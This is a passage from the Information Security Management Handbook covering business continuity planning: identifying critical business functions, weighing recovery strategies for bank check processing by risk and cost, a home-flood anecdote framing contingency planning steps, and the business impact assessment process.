Individual Responsibilities
Departmental Procedures
Individual Responsibilities
Individual Responsibilities
FIGURE 36.1 Functional hierarchy.
Many times, however, we see that the correspondence between a business function and its corresponding procedures is one to many; that is, more than one procedure elaborates a business function. Consider the example of an information technology department. One of its stated critical business functions is to build appropriate architecture to support the business processes that drive the organization. An organization’s technology architecture consists of several layers: network devices, such as routers, switches, and firewalls; network servers (perhaps with different operating system needs); application systems; and enduser systems. This is a very simplistic view of architectural needs, but it demonstrates the notion of multiple procedures for one business function. Clearly, the procedure for building a firewall, with its complex set of rules, is not the same procedure an organization would use for building an application server of any kind. Figure 36.1 depicts the hierarchy of business functions, procedures, and individual responsibilities, or accountability, for completion of the procedures. It is important to note that the detail to which unique organizations define and elaborate business functions may vary; that is, some organizations are much more specific in defining their business functions. A good example of this difference can often be seen at organizations that are being held to compliance, or regulatory, requirements. For example, senior executives at publicly held companies are now obligated to attest to the accuracy of their financial reporting. Along with this requirement comes the requirement to fully document the financial reporting environment. For this reason, many organizations choose to upgrade their businesses’ functional definitions to more easily comply with the legislation. For more information on elaboration of business functions with regard to such legislation, see discussions regarding the Sarbanes–Oxley Act elsewhere in this book.
Conclusion Although identification of critical business functions may be, at times, difficult, certain practices can assist the security professional with completion of this important activity. Constructing an appropriate data gathering instrument, such as a business impact assessment questionnaire, is a first step (see Figure 36.2). When this data has been gathered, analysis of the important elements — maximum downtime; maximum allowable data loss; cost to the organization; resumption and recovery time objectives; key infrastructure, applications, and personnel; and others — will provide the information necessary to identify activities that can keep an organization operational, even into times of need.
450
Information Security Management Handbook
Conduct a Business Impact Analysis (BIA)
Prioritize Results
Costs
Recovery Time
Acceptable Data Loss
Maximum Allowable Downtime
Analyze Results
Assign Resources by Priority
FIGURE 36.2 Business function prioritization flow.
References Carnegie Mellon University, Software Engineering Institute, SSE-CMM, www.sei.cmu.edu/publications. Disaster Recovery Journal, www.drj.com. FFIEC. 2003. Business Continuity Planning, Washington, D.C.: Federal Financial Institutions Examination Council. Health Insurance Portability and Accountability Act of 1996 (HIPAA), www.hhs.gov. Information Systems Audit and Control Association (ISACA), www.isaca.org. International Standards Organization (ISO) 17799/British Standard (BS) 7799. National Institute of Standards and Technology (NIST), www.nist.gov. National Security Agency Information Assurance Methodology (NSA IAM), www.nsa.gov. Sarbanes–Oxley Act, www.aicpa.org.
37 Selecting the Right Business Continuity Strategy Ken Doughty
Introduction The first step in developing a customized business continuity plan (BCP) is to conduct a business impact assessment. This comprehensive risk evaluation and business impact assessment (BIA) will identify the organization’s core business processes and their critical dependencies. Because the organization’s recovery strategy must be based on the recovery of the core business processes and their critical dependencies, the strategy ultimately selected may be two-tiered: • Technical — desktop, client/server, midrange, mainframes, data and voice networks, third-party providers • Business — logistics, accounting, human resources, etc. When the organization’s executive management has signed off on the BIA report and endorsed the recovery of the recommended core business processes and the priority of recovery, BCP recovery strategies must be developed for each business process. Ideally, all business units should participate in the development of these BCP recovery strategies. As experienced staff in the business unit’s understands their business processes, they should be approached to suggest recovery strategies. A recovery strategy workshop is an ideal forum to develop the BCP recovery strategy with input from the business units. This will ensure that there is ownership of the BCP strategy and the “plan” by the business units.
Recovery Strategy Workshop The purpose of the recovery strategy workshop is to identify appropriate recovery strategies for each core business process and the risks associated with each strategy. Of particular interest are recovery strategies that are low risk and cost effective. Too often, there is a greater emphasis on cost and benefits without consideration given to the risks associated with the recovery strategy. The BCP coordinator (i.e., the person responsible for developing, implementing, and maintaining the organization’s BCP) must select the right recovery strategy and must also minimize the risks associated with that strategy. The BCP coordinator should be the workshop facilitator because he or she has a deep knowledge of business continuity planning and risk management training, as well as a good understanding of the organization’s strategic objectives and processes. Business unit attendees should have a good working knowledge of their business processes.
Damage to the bank’s brand (i.e., reputation) Customer impact — financial and service External service level agreement (SLA) partner not compliant with agreement Holdover (delayed processing) Timeframe lag Funding of recovery Resource shortage — staff Resource shortage — skills Resource shortage — equipment Resource shortage — stationery/stores Internal coordination External coordination Logistics (e.g., transportation of staff, work) Employee’s union Legislative requirements Third-party suppliers (non-provision of services) Denial of access to alternative processing sites Internal/external communications Incompatible information technology Internal SLA partner not compliant with agreement Physical security over source documents
Recovery Strategies During the workshop, the BCP coordinator will assist the business unit staff in identifying BCP recovery strategies for each core business process. It is not unusual to find that the initial recovery strategy suggested by the workshop attendees is high risk and not cost effective. As a case study, take a look at the banking sector and one of its core business processes, that of processing customer checks and exchanging checks with other banking institutions. At the workshop, attendees would identify a number of BCP recovery strategies for processing checks; for example: • Have a service level agreement with another bank to process all work. • Branch network processes all credits and service level agreements with another bank to complete check processing and exchange checks. • Branch network to processes all credits and forwards all checks to an intrastate/interstate center for final processing and check exchange. • Forward all work to an intrastate/interstate center for processing. • Do nothing.
Strategy Risks To continue this case study for the core business process of processing checks, the workshop attendees (with the assistance of the BCP coordinator) would identify a range of recovery risks that may be applicable (see Table 37.1).
Assessing Risks The BCP coordinator, with assistance from the workshop attendees and utilizing the BCP recovery strategy risks (as per Table 37.1) and a risk assessment methodology (e.g., AS4360 Risk Management; refer to Table 37.2), assesses each recovery strategy and the associated risks. A risk assessment matrix is then applied for likelihood and consequences to derive a risk score.
453
Selecting the Right Business Continuity Strategy
TABLE 37.2 Risk Management Methodology Descriptor
Meaning
Likelihood of Event Table Almost Certain the event is expected to occur in most circumstances. Likely The event will probably occur in most circumstances. Moderate The event should occur at some time. Unlikely The event could occur at some time. Rare The event may occur only in exceptional circumstances. Consequences of Event Table Catastrophic Complete disaster with potential to collapse activity. Major Event that, with substantial management, will be endured. Moderate Event that, with appropriate process, can be managed. Minor Consequences can be readily absorbed; however, management effort is required to minimize impact. Risk Assessment Matrix Likelihood Consequences Catastrophic Major Moderate Minor
Almost Certain High High High Significant
Likely High High Significant Significant
Moderate High High Significant Moderate
Unlikely High Significant Moderate Low
Rare Significant Significant Moderate Low
Irrelevant N/A N/A N/A N/A
What the risk value meanings are: High High risk — detailed research and management planning required at high levels Significant Significant risk— senior management attention needed Moderate Moderate risk — specific risk management processes must be developed Low Low risk — can be managed by routine procedures Source: From AS4360 — Risk Management Standards, Australia.
Each recovery strategy score is then risk ranked to provide an indication of the level of risk associated with each recovery strategy (refer to Table 37.3). The BCP recovery strategy that offers the lowest levels of risk in execution and the greatest opportunity of success will be costed.
Recovery Strategy Costs The two levels of costs are pre-event and event costs. Pre-event costs are incurred in either implementing risk mitigation strategies or allocating of resources (including human and financial) and capital expenditure to developing the necessary infrastructure for the BCP recovery strategy. These costs may include, for example: • Information technology • Hot site — Fully operational computer center, including data and voice communications • Alternate LAN server — LAN server fully configured, ready to be shipped and installed at the same site or alternate site • Physical separation of telecommunications network devices (previously centralized) to reduce the likelihood of a single point of failure • Establishment of service level agreements with BCP recovery company (i.e., hot, warm, or cold sites and mobile). • Duplication of telecommunications network (e.g., another telecommunication carrier, switching capability) • Creation of a full-time BCP team that is responsible for maintaining and testing the organization’s technical BCP
454
Information Security Management Handbook
TABLE 37.3 Case Study Banking sector: Processing checks Bank core process: Check processing (deposits and checks) and exchange Strategy BCP Strategy 1 Have a SLA with another bank to process all work.
BCP Strategy 2 Branch network processes all credits and SLA with another bank to complete check processing.
Risks
Assigned Risk Rating
1. Brand damage 2. Customer impact 3. Other banking party noncompliant with SLA 4. Holdover 5. Timeframe impact 6. Funding 7. Staff shortage 8. Equipment shortage 9. Logistics 10. External coordination and cooperation 11. Stationery/stores 12. APCA requirements 13. Other legislative requirements 14. Internal/external communications
Moderate Low High High Low High Significant High Moderate Low Moderate Significant Moderate
1. SLA banking party not compliant 2. Holdover 3. Timeframe impact 4. Funding 5. Staff shortage 6. Equipment shortage 7. Internal coordination and cooperation 8. Logistics 9. Union 10. External coordination and cooperation 11. Skills shortage 12. APCA requirements 13. Other legislative requirements 14. Internal/external communications
Low Significant High Low High Moderate Moderate Moderate Significant Moderate Significant Moderate Moderate
• Equipment. The purchase and maintenance of redundant equipment at an alternative site (e.g., microfilm readers, proof machines, image processors), particularly if there is a long lead time to source and procure equipment. • Third-party service providers. Third-party service providers are requested to develop a BCP requirement to meet organizational (customer) requirements. Some proportion of this cost may be borne by the organization requesting that this functionality or facility be provided. • Dependency on third-party service providers for business continuity purposes. This is a major concern to BCP coordinators. When third-party service providers have been identified as critical to the day-to-day operations of the business, BCP coordinators are to seek assurance that these service providers have a demonstrable BCP in the event of disaster striking their organization. • Service level agreements (SLAs). The costs associated with external suppliers readily providing services or products (non-IT) in the event of a disaster. • Vital records. A vital record program that identifies all critical records required for post-recovery core business processes. Costs may be incurred in the protection of these records (e.g., imaging, offsite storage) to ensure that they will be available in the event of a disaster. Event costs are incurred in implementing the BCP strategies in the event of a disaster. The costs are an estimation of the likely costs that would be incurred if the BCP were activated for a defined period (e.g., 1 day, 7 days, 14 days, 21 days, 30 days). These costs would include, but are not limited to:
455
Selecting the Right Business Continuity Strategy
TABLE 37.3 Case Study (cont.) Strategy BCP Strategy 3 Branch network processes all credits; forwards all checks to an interstate day 1 OPC for processing.
BCP Strategy 4 Forward all work to an interstate day 1 OPC for processing.
BCP Strategy 5 Do nothing.
Risks
Assigned Risk Rating
1. Holdover 2. Timeframe impact 3. Funding 4. Staff shortage 5. Equipment shortage 6. Internal coordination and cooperation 7. Logistics 8. Union 9. Stationery/stores 10. APCA requirements 11. Denial of access to alternative premises 12. Internal/external communications
High High Low Significant Moderate Moderate Significant Moderate Low Significant Moderate Moderate
1. Brand damage 2. Customer impact 3. Holdover 4. Timeframe impact 5. Funding 6. Staff shortage 7. Equipment shortage 8. Internal coordination and cooperation 9. Logistics 10. Union 11. Stationery/stores 12, AOCA requirements 13. Denial of access to alternative premises 14. Internal/external communications
High High High High Low High Significant Moderate High Significant Moderate Significant Moderate Moderate
Not considered, as it is unrealistic
N/A
• Activation of SLA — Often a once up cost plus ongoing costs until services or products are no longer required (cessation of disaster) • Staffing (e.g., overtime, temporary, contractors) • Logistics (e.g., transportation of staff and resources, couriers) • Accommodation costs (e.g., hire/lease of temporary offices, accommodations for staff and other personnel) • Hire/lease or procurement of non-IT resources (e.g., desks, chairs, tables, safes, cabinets, photocopiers, stationery) • Hire/lease or procurement of IT resources (e.g., faxes, handsets, printers, desktop PCs, notebook computers, terminals, scanners) • Miscellaneous costs (e.g., insurance deductible, security and salvage of assets at disaster site, cleanup of disaster site, emergency services costs) The BCP coordinator is to determine that all pre-event and event costs have been included and are reasonably accurate. Ideally, the BCP coordinator should request an independent party (for example, the organizations’ audit department) to review the cost components and value to ensure they are all complete and accurate.
456
Information Security Management Handbook
TABLE 37.4 Costs of Two Strategies Accumulative Event Costs BCP Strategy
Pre-Event Costs
Strategy 2
$150K per annum Nil
Strategy 3
1 Day
1 Week
2 Weeks
3 Weeks
4 Weeks
Total Costs
$75K
$255K
$375K
$515K
$730K
$880K
$150K
$415K
$875K
$1.2M
$3.2M
$3.2M
Recovery Strategy Risks Versus Costs Once the costs (pre-event and event) have been determined, an analysis of the recovery strategy risks versus costs is to be performed. The objective of this analysis is to select the appropriate recovery strategy, which is balanced against risk and cost. For example, using the case study above, the recovery strategies that offer the lowest risks for implementation are: • Strategy 2. Branch network processes all credits and SLAs with another bank to complete check processing and exchange checks. • Strategy 3. Branch network processes all credits and forwards all checks to an intrastate/interstate center for final processing and check exchange. An analysis of Table 37.4 indicates the following: • Strategy 2 • Highest risk of the two strategies being considered for implementation • Pre-event cost of $150,000 per annum for the service level agreement • Lowest event cost of the two strategies of $730,000 • Strategy 3 • Lowest risk of the two strategies being considered for implementation • No pre-event costs • Highest event cost of the two strategies by $3.2 million • The longer the outage lasts, the greater the increase in event costs The decision to be made is whether the organization is prepared to accept higher risks with lower event costs or a lower risk strategy with higher event costs. In other words, it is a trade-off between risks the organization is prepared to accept and the costs the organization is prepared to spend. However, where two strategies are of equal risk and similar cost value, then a third element is brought into the evaluation process — benefits. The benefits, including tangible and intangible, for each strategy are to be evaluated against the risks associated with the recovery strategy. Further, the benefits are to be considered in the short and long term with regard to the added value to the organization operating in a dynamic and competitive market.
Summary Organizations who undertake business continuity planning often do not take the time to analyze the risks associated with a selected BCP recovery strategy, to determine if it is low risk and the cost of implementation is acceptable. The BCP coordinator’s role is enhanced by ensuring that the right BCP recovery strategies are selected for the organization. The reality is that in the event of a disaster, selecting the wrong strategy may actually exacerbate the disaster. This potentially may lead to the organization going out of business. However, by performing a risk versus cost analysis of the BCP strategies, the BCP coordinator will reduce the potential exposures the organization will face in the execution of the business continuity plan (i.e., implementation of the recovery strategy) and strengthening the recovery process.
38 Contingency at a Glance Ken M. Shaurette and Thomas J. Schleppenbach
Introduction Beginning in the 1980s, information security attracted the attention of the boardrooms and information superhighways of corporate America but was not a major concern. Then came the disastrous events of September 11, 2001, which more than any other event in history assured security forever a place in the media and, at least for a few months, caused organizations around the world to evaluate their contingency plans. Executives could no longer overlook the importance of security; they finally recognized that information security was an issue that required proper diligence. It is no longer possible to plead ignorance, because nearly every trade magazine reports on incidents of security breaches on an almost daily basis. The catastrophe of 9/11 shed light on the scope and importance of information security. September 11 also made organizations wake up to the fact that people and business processes were also critical to an organization’s survival. Just recovering the data center is not enough, as it is still necessary to have the people to run the computers, answer the telephones, and input the data. Information security and contingency planning are quickly becoming routine requirements for dayto-day business operations. They are singled out as specific requirements in many of the regulations with which organizations must comply. Planning continuation of a business in the aftermath of a disaster is a complex task. An organization’s preparation for, response to, and recovery from a disaster require the cooperative efforts of third-party organizations in partnership with the functional areas supporting the business. This chapter uses a simple real-life example to explore disaster recovery, followed by discussing the contingency plan that outlines and coordinates business survival efforts. The terms disaster recovery, business continuity, and IT contingency are all used rather interchangeably and all relate to the business contingency process, but they are defined differently. For definitions of these terms, a very good reference is the National Institute of Standards and Technology (NIST) publication SP800-34 (Contingency Planning Guide for Information Technology, 2002). This chapter discusses disaster recovery or business continuity or, more generally, contingency planning. Several standards, guidelines, books, and articles have already been published on this subject, so we will try to keep this discussion concise and entertaining.
The Story You are at work at about 1:30 in the afternoon when your wife pages you. Of course, this lets you know that something critical must be going on at home, because that pager the company gave you is for business use only. When you call her back, all you hear is a very frantic “… water everywhere …” and you realize that she is serious. She is excited about something very important, and it takes you a couple minutes just to calm her down. She tells you that she put your daughter down for a nap and when she stepped back
457
458
Information Security Management Handbook
into the hallway she found herself ankle deep in water. Water? Where did all the water come from? Did you get it cleaned up? She says, “Of course it’s not cleaned up! It’s still rising!” You calmly explain to her that she needs to get off the phone and turn off the main water valve. Then you helpfully tell her to put down as many towels as possible and use the wet-dry vacuum to suck up as much water as possible before it begins to leak down to the first floor. (To clarify things a bit, we need to tell you that this is a traditional two-story home with three bedrooms and two bathrooms, both upstairs.) At about 3:30 your wife calls back to let you know that things are under control but there is a significant amount of damage. It appears that one of your four kids was in the bathroom on the second floor across the hall while your wife was putting the youngest down for a nap. As usual, the child used the traditional half roll of toilet paper and then flushed. Of course, this resulted in a plugged toilet. To compound the problem, though, when the toilet was flushed, the little chain on the inside of the toilet tank wrapped around the little bar connected to the flush lever, so the water continued to flow until the handle was jiggled to shut it off. This had been happening on occasion over the last few months any time the lever was flushed real hard but you hadn’t gotten around to fixing it. This time, the water flowed and flowed some more, creating a rather impressive waterfall effect in the bathroom. Timing is everything with these types of incidents. And timing was not on your side. It always takes 30 to 45 minutes to rock your daughter to sleep so there was plenty of time for the disaster to magnify. When your wife stepped into the hallway from the bedroom she stepped into about two inches of water. After the first phone call, she began to take some recovery actions, such as placing several towels down and emptying the linen closet. She surveyed the extent of the damage when she went downstairs to get the vacuum. The kitchen had over an inch of water. She continued down to the basement and strategically placed buckets to begin collecting the dripping water. She spent the next two hours vacuuming. You were lucky because by the time you got home from work much of the cleanup was done; however, the significant amount of water damage still had to be dealt with. The upstairs carpet was ruined, and the kitchen ceiling was obviously sagging and still holding water. In fact, it was pretty much destroyed.
Incident Management Reacting to an incident and preparing for one are two very different things. Risk can be handled one of three ways. It can be accepted, mitigated, or transferred. It would be quite difficult to put special controls in place to mitigate the risk of an incident such as we just described; however, you could have been a little less lazy and fixed the chain in the toilet when you noticed it was sticking. Many people experiencing a similar scenario are not able to simply accept the risk, because the mortgage company still owns most of the home and they still need to live there, so risk is transferred by purchasing homeowners’ insurance, thus transferring the risk to an insurance policy to help recover from the damage. Risk management must also identify residual risks for which a contingency plan must be put into place; thus, the contingency plan requires that a business impact assessment be done to determine the most critical assets — not necessarily the most valuable to the company but those that are critical to continuation of normal business and business survival. Preventing an incident can be best managed by periodic security risk assessments to identify measures and controls that can mitigate the risk. There are well-defined relationships between identifying and implementing security controls to prevent and minimize potential critical incidents and the process of developing and maintaining the contingency plan and implementing the contingency plan when the event has occurred. In our story, your homeowner’s policy covered the costs to repair the damage.
Getting the Contingency Process Started Contingency can be defined as a coordinated strategy involving plans, procedures, and technical measures that enable the recovery of information technology (IT) systems, operations, and data after a disruption. Contingency planning generally includes one or more approaches to restore disrupted services, and it is
Contingency at a Glance
459
designed to mitigate the risk of system and service unavailability by focusing on effective and efficient prevention and recovery solutions. The contingency planning process can be described as these basic steps: • • • • • • •
Develop contingency planning policy. Conduct business impact assessment. Identify preventative controls. Develop recovery strategies. Develop contingency plan. Plan testing, training, and exercises. Plan maintenance activities.
A great place to begin is to have a methodology. NIST methodologies and special publications can be found on their Web site at http://csrc.nist.gov/publications/nistpubs/index.html. These resources are outstanding and are referenced in many federal regulations pertaining to information security, such as the Health Insurance Portability and Accountability Act (HIPAA) or the Gramm–Leach–Bliley Act (GLBA). Various processes are involved in ensuring business continuity. Listed below are some to give you an idea of how many are involved (all of these are defined in various NIST publications): • • • • • • • •
Business continuity plan (BCP) Business recovery (or resumption) plan (BRP) Continuity of operations plan (COOP) Continuity of support plan/IT contingency plan Crisis communications plan Cyber incident response plan Disaster recovery plan (DRP) Occupant emergency plan (OEP)
The Policy So far this chapter has provided a high-level framework and methodology. An important next component is policy. The purpose of this section is to assist with assessing an organization’s current contingency planning policy. If an organization does not have an existing contingency planning policy, this section will assist in creating one. Most organizational operations managers and security officers recognize that business continuity planning and disaster recovery planning are vital activities necessary to protect the well-being of the organization. In many cases, the regulations that organizations must comply with make this a requirement. Even so, many organizations are still operating with plans that are out of date or inadequate. The issue is not whether a disaster will happen or even reaching agreement on the need for a plan. Nonetheless, there remains a gap for many organizations between what should be in place and what is. Among the numerous reasons for this large gap between adequate, necessary contingency plans and actual plans that organizations have in place is that developing a contingency policy can be a very complex and difficult task. When viewed as such a large project, often it is easier to let it slide because no one knows where or how to start. In addition, some of the commercially available planning products are extremely difficult to master, adding to the frustration of developing the policy. Finally, the time and effort necessary to develop and maintain a contingency policy are expensive. If the business continuity process is not seen as mission critical or having direct organizational benefit, it is often of a lower priority for staff. Contingency planning is like insurance, and unfortunately many of us despise the need to pay a premium just because something might happen. The contingency planning policy statement should define the organization’s overall contingency objectives and establish the organizational framework and responsibilities for IT contingency planning. When addressing regulatory risk issues, regulatory agencies will have alerted the organization to the importance
460
Information Security Management Handbook
of contingency planning. Disruption of organizational operations can result in exposing a company to various risks. These risks include compliance risk, transaction risk, reputation risk, and strategic risk. Organizational leadership and the board of directors are responsible for developing emergency and disaster recovery plans designed to keep disruption of operations at a minimum. The contingency policy and procedures should contain the following key elements: • Assigning authority for implementing the emergency disaster recovery plan and identifying who is responsible and their roles • Identification of risk • Description of data center emergency procedures established to protect personnel and property during emergencies • Identification of resource and training requirements • Description of backup considerations • Standards for testing the disaster recovery plan • Guidelines for disaster recovery planning Other considerations are emergency procedures and plans for contingency initiatives in the event of a disaster affecting organizational operations, which are a critical part of any institution’s overall corporate contingency plan. For additional references and insights, refer to the NIST contingency plan guide (SP80034), also referred to as the Disaster Recovery Planning Manual. To provide an easy-to-use, understandable, and effective tool to create a contingency policy, we will begin by discussing the basic process. The process of creating a sound business continuity and disaster recovery plan can be broken down into several easily understood and accomplished tasks. The policy development process is broken down into the following steps: • • • • • • •
Consider the potential impacts of disaster and understand the underlying risks. Construct the IT contingency policy. Implement steps to maintain, test, and audit the IT contingency policy. Identify senior management support and ownership. Identify and acquire resources. Define responsibilities. Define project deliverables and timeline and budget.
Policies and procedures will address each of the following areas: • Statement of need and definitions (e.g., leadership, management, and directors recognize the need to establish comprehensive emergency and disaster recovery policies and plans to protect employees during emergencies and to provide for the continuity of data processing operations) • Purpose (e.g., the purpose of the policy is to protect personnel and property during emergencies and to provide procedures to recover operations should an emergency render any part of the organization’s IT operations or data access unusable or unavailable) • Specific goals Samples of these goals would include: • Establish authority and responsibility in the development, implementation, and maintenance of an emergency and disaster recovery policy and plan especially considering the IT department. • Provide documentation of any emergency prevention measures that have been implemented. • Document backup plans for hardware, programs, and documentation, as well as all data. • Document criticality, priority, and dependency of one system on another or applications on specific systems. • Establish recovery timeline. • Outline strategies for disaster recovery. • Establish requirements to periodically test the adequacy of the backups and ability to restore following the recovery plans.
Contingency at a Glance
461
The following are elements to include: • • • • • • • • • • • • • •
Authority Risk management Compliance risk Transaction risk Strategic risk Reputation risk Definitions Emergency procedures Emergency phone numbers Disaster recovery planning User involvement in disaster recovery strategies Standards for testing disaster recovery plan Services Regulatory compliance checklist (if appropriate)
The Process and Plan Step 1. Gather information about the environment. The kind of information that would be included in the data gathering includes: • • • • • • • • • • • • • •
IT systems (applications, databases, networks, systems) Business unit manual processes Key people involved in each business unit’s critical processes Document storage locations Current work flow documentation Business strategy plans Service level agreements between IT and the business units IT strategy plans Resources Current and past availability processes How past availability problems were solved Current vendor list for IT and business equipment Insurance policy (does it cover business disruption?) Industry peers’ approach to IT contingency planning
To formulate a plan it is helpful to find out what your industry peers are doing with their contingency planning. How similar are your efforts to those of your peers? Any information that is gathered or generated must be centralized. If gathered information is outdated, it should be updated to match the current environment. This may take a lot of resources from each of the business units, depending on how outdated the information has become. It is very important to locate these items prior to developing the plan and starting the contingency planning process because it will help make the contingency process more efficient and affordable. Other considerations are to know your resources (critical to project efforts), to have dedicated resources (or the plan will never get done), and to consider using interns for repetitive tasks to free up critical IT resources. Step 2. Perform a business impact assessment. The most time-consuming, but critical, part of any contingency planning process is the business impact assessment (BIA). The BIA is used to prioritize systems by determining how long a system or process can be unavailable before it severely impacts the organization and how new data, generated since an incident, should be defined when the systems or processes become available again. To conduct the
462
Information Security Management Handbook
business impact assessment, identify critical resources, identify outage impacts and allowable outage times, and develop recovery priorities. One of the more difficult activities will be to identify the important technology systems and components of the company network that are necessary to support business systems. Especially tough will be documenting dependencies between the systems and network to determine recovery order. Step 3: Identify, implement, and maintain preventive controls. Where feasible and cost effective, putting in place preventive methods to avoid system loss is preferable to the actions that will be necessary to recover a system after a disruption. A wide variety of basic preventive controls are available, depending on system type and configuration; however, some common measures are listed below: • Uninterruptible power systems (UPSs) provide short-term backup power to all system components. This will include supporting environmental and safety controls systems. • Putting in place gasoline or diesel-powered generators will provide longer term backup power to withstand outages of longer duration, especially to allow systems to be shut down properly to reduce data loss and corruption. • An emergency “master system shutdown” switch will provide immediate shutdown of equipment to reduce even greater damage in case of an incident requiring immediate system shutdown. • Air-conditioning systems should have excess capacity that does not allow the failure of one component, such as a compressor, to jeopardize its continued operation to provide an adequate climate-controlled environment. • Fire and smoke detectors as well as water sensors properly placed in the computer room ceiling and floor are preventive measures that also reduce loss and damage. Valuable in the computer room and near critical hardware are plastic tarps, which can be unrolled over equipment to protect it from water damage. This can reduce costs for replacement of equipment. • Fire suppression systems are necessary controls that also prevent extensive damage to hardware and reduce loss in the case of fire. • Heat-resistant and waterproof containers should be available for the storage of backup media and vital records that are not in electronic format. These can be used to store media before transporting them to an offsite storage facility as part of an emergency recovery procedure. • Proper offsite storage locations should be identified for backup media and any critical records that are not electronic, including system documentation. • Technical security controls should be in place, such as encryption (including key management and access controls systems with least-privilege access implementation based on corporate roles for access to data). • Backups should be performed frequently and tested regularly. Step 4: Develop recovery strategies. Thorough recovery strategies ensure that any critical system can be recovered in an appropriate timeframe based on the requirements defined during the business impact assessment. Important considerations for the recovery strategies include: • • • • •
Recovery strategies provide a means to restore critical operations quickly and effectively following a service disruption. The strategies should address disruption impacts and allowable outage times identified in the BIA. Several alternatives should be considered when developing the strategy, including cost, allowable outage time, security, and integration with larger, organization-level security and safety plans.
Contingency at a Glance
463
Step 5: Develop the contingency plan. Contingency plan development is a critical step in the process of implementing a comprehensive contingency planning program. The plan contains detailed roles, responsibilities, teams, and procedures associated with restoring an IT system following a disruption. The contingency plan should detail and document technical capabilities designed to support contingency operations. The contingency plan should be tailored to the organization and its requirements. Plans need to balance detail with flexibility; usually the more detailed the plan is, the less scalable and versatile the approach. The information presented here is meant to be a guide. Step 6: Plan testing, training, and contingency plan exercises. • • • • •
Develop test objectives. Develop success criteria. Document lessons learned. Incorporate them into the plan. Train personnel.
Training prepares recovery personnel for plan activation and improves the plans effectiveness and preparedness. Plan testing is a critical element of successful contingency capabilities. Testing enables plan deficiencies to be identified and addressed. Testing also helps evaluate the ability of the recovery staff to implement the plan quickly and effectively. Each contingency plan element should be tested to confirm the accuracy of individual recovery procedures and the overall effectiveness of the plan. In the contingency test, perform system recovery on an alternative hardware platform from backup media stored offsite. The recovery testing provides verification that the recovery media still function and it demonstrates the level of coordination among members of the recovery team and the effectiveness of documentation and communication. Also verified by testing the contingency plan are: • • • • • •
Internal and external connectivity System performance using alternative equipment Restoration of normal operations Notification and communication procedures Coordination with internal and external organizations Thoroughness and accuracy of documentation
Step 7: Plan maintenance. The contingency plan must be reviewed and updated as part of normal day-to-day operations. Any plan document changes are made as systems, networks, and applications are changed. A good way to keep documentation up to date is to make updating of contingency plan documentation a routine requirement of change management. Change management quality procedures should include this validation as part of change approval. To be effective, the plan must be maintained in a readiness state that accurately reflects system requirements, procedures, organizational structure, and policies. IT systems undergo frequent changes because of shifting business needs, technology upgrades, or new internal or external policies; therefore, it is essential to update the contingency plan as part of the change management procedures to ensure that any new information is documented and contingency measures are revised as appropriate. As a rule, the entire plan should be reviewed for accuracy and completeness using the testing procedures at least annually. Other major reviews of the plan documentation should be completed whenever significant changes occur to any element of the plan. Certain elements will require more frequent reviews, such as contact lists and roles and responsibilities. Based on the system type and criticality, it may be reasonable to evaluate plan contents and procedures more frequently. At minimum, plan reviews should focus on the following elements: • Operational requirements • Security requirements • Technical procedures
464
Information Security Management Handbook
• Software and hardware and other equipment (types, specifications, and amount) • Names and contact information of team members • Names and contact information of vendors, including alternate and off-site vendor points of contact (POCs) • Alternative and off-site facility requirements • Vital records (electronic and hardcopy).
Epilogue Contingency planning represents a broad scope of activities designed to sustain and recover critical IT services after an emergency. Contingency planning fits into a much broader emergency preparedness environment that includes organizational and business process continuity and general business recovery planning. An organization can use a suite of plans to properly prepare response, recovery, and continuity activities for disruptions affecting the organization’s IT systems, business processes, and facilities. Because of the inherent relationship between an IT system and the business process it supports, plans should be coordinated as they are developed and updated to ensure that recovery strategies and supporting resources neither negate each other nor duplicate efforts. So, remember, every time you flush consider the risks and whether or not you are prepared to deal with the consequences.
39 The Business Impact Assessment Process and the Importance of Using Business Process Mapping Carl Jackson
Introduction Without question, business continuity planning (BCP) is a business process issue, not a technical one. In fact, business continuity planning is a business process in itself. We understand that each timecritical business process and support component of the enterprise must play a part during the development, implementation, testing, and maintenance of the BCP process, and it is the results of the business impact assessment (BIA) that will be used to make a case for further action. With these thoughts in mind, the objective of this chapter is to discuss the BIA and the importance of identifying enterprise business processes and standardizing a business process naming convention to facilitate an efficient BIA process.
Not Just Information Technology Focused In the past, business continuity planning has often been thought of as focusing simply on the recovery of computer systems, often referred to as disaster recovery planning. Evolving experience in the field of continuity planning has led us to understand that recovery of only information technology (IT) does not promise the survival of an organizational following a serious disruption or disaster. Indeed, speedy recovery of an IT function is useful only if the organizational business units themselves are able to continue to operate, even at reduced efficiencies. That is, they must be in a position to communicate with customers or clients, business partners, vendors, and the like; to receive and enter orders; to produce and deliver goods and services; and to collect and book revenue. The most efficient approach toward ensuring enterprise continuity is to anticipate and prepare continuity plans that not only include the IT infrastructure but also begin with and focus attention on the organization’s time-critical business processes and the resources that support those processes.
465
466
Information Security Management Handbook
The Importance of the Business Impact Assessment While attempting to prepare to recover every enterprise mission-critical business process within the first few minutes or hours following a major disruption or disaster may appear to be a practical or reasonable approach to continuity planning, it quickly becomes apparent to those involved in the planning process that recovering everything quickly is simply impossible. Even if it were possible, the cost of acquiring hot backup resources to support every mission-critical process is simply an unacceptable one. This is where the BIA process plays a pivotal role. The purpose of the BIA has traditionally been twofold. This first is to provide a basis upon which to prioritize mission-critical processes, yes, but more importantly it is to prioritize a hierarchy of mission critical processes that are time critical. It can truly be said that, although all time-critical processes are mission critical, not all mission-critical processes are time critical.
Executive Management Support Gaining executive management support is where to begin. This support must be clearly articulated to the organization and is critical to the success of the continuity planning infrastructure. The folks responsible for the project must have the authority and resources to undertake such a project. The ability to reach consensus with the varied organizational interests also hinges on the presence of a strong executive sponsorship. How does the planner obtain and keep this commitment? One of the most effective ways to gain and maintain management support is to help educate management as to the risks of not having a continuity planning process in place. If executive management does not understand the impacts that an interruption would have upon time-critical business processes, if is sometimes difficult to attract the attention and support needed to undertake continuity planning. Some suggested steps in obtaining executive management support include: • Conducting appropriate research to understand: Both the mission- and time-critical business processes of the organization Management’s strategic and tactical initiatives and vision The competitive environment in which the organization operates The people issues associated with developing a continuity planning process • Performing a preliminary high-level risk analysis focused on availability vulnerabilities • Identifying any relevant regulatory or legal requirements • Building the business case for the continuity planning projects that will ensue • Obtaining commitment for all the next step activities that will lead to a fully implemented continuity planning infrastructure
